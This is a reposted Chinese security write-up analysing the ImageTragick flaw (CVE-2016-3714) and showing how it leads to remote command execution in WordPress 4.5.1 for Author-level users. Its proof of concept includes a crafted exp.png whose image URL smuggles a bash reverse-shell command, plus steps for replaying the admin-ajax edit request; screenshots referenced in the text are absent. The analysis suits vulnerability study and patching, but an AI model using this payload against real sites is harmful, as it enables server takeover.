来源 [http://ricterz.me/](http://ricterz.me/posts/Write%20Up%3A%20Remote%20Command%20Execute%20in%20Wordpress%204.5.1?_=1462424557950),格式稍作整理
### ImageMagick
ImageMagick 昨天曝出 [CVE-2016-3714](https://www.seebug.org/vuldb/ssvid-91446),Java、PHP 的库也受其影响(可参考 https://www.seebug.org/vuldb/ssvid-91446 )。其中 PHP 的库 Imagick 应用广泛,波及也大。Wordpress 也就是受此漏洞影响出现了 RCE。
这个漏洞很蠢,ImageMagick 在 MagickCore/constitute.c 的 ReadImage 函数中解析图片,如果图片地址是```https://```开头的,即调用 InvokeDelegate。
MagickCore/delegate.c 定义了委托,第 99 行定义了要执行的命令。
最终 InvokeDelegate 调用 ExternalDelegateCommand 执行命令。

MagickCore/delegate.c

为了让大家更清楚的看见:

至此,一个命令注入就形成了。
### Wordpress
Wordpress 在图像处理的时候默认优先选择 Imagick Library。
wp-includes/media.php:_wp_image_editor_choose

如果能找到一个点,调用了 Imagick 类的话,那么就可以进行命令执行。
wp-includes/media.php:wp_get_image_editor

这个函数实例化了 WP_Image_Editor_Imagick 类。全局 grep 一下 wp_get_image_editor 可以发现几处调用的地方,比如wp_crop_image。
wp-admin/includes/image.php:wp_crop_image

这样寻找调用这个函数的地方就好了。
像呆子不开口那样扶了扶镜框,找到一个。要求的最小权限是 Author。
不是 Unauthorized 就可以利用的 RCE,真是难过啊..
### PoC
用 Author 权限账号登陆,发表文章,插入 Media。
上传另外一个正常格式的文件:

记住 post_id,我这个为 101。 再上传 exp.png,内容为:
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/127.0.0.1/2333 0>&1")'
pop graphic-context
```
这个的 post_id 为 102。
接着点击我们正常的那个图片,选择编辑:

然后点 Edit Origin。进去打开控制台,随便做一些操作后抓包拿到请求的 URL。直接 Copy as cURL 就好了。

再点击坏掉的图片-Edit-Edit Origin,抓包看到请求的 admin-ajax.php,拿出 _ajax_nonce。最后改掉之前 Copy as cURL 内的 _ajax_nonce 和 post_id,下图划框框的地方是要改的地方。

回车

shell 已经躺好了。
### 其他参考地址
* https://www.seebug.org/vuldb/ssvid-91446
* https://imagetragick.com/
* http://www.openwall.com/lists/oss-security/2016/05/03/18
* https://blog.sucuri.net/2016/05/imagemagick-remote-command-execution-vulnerability.html
全部评论 (1)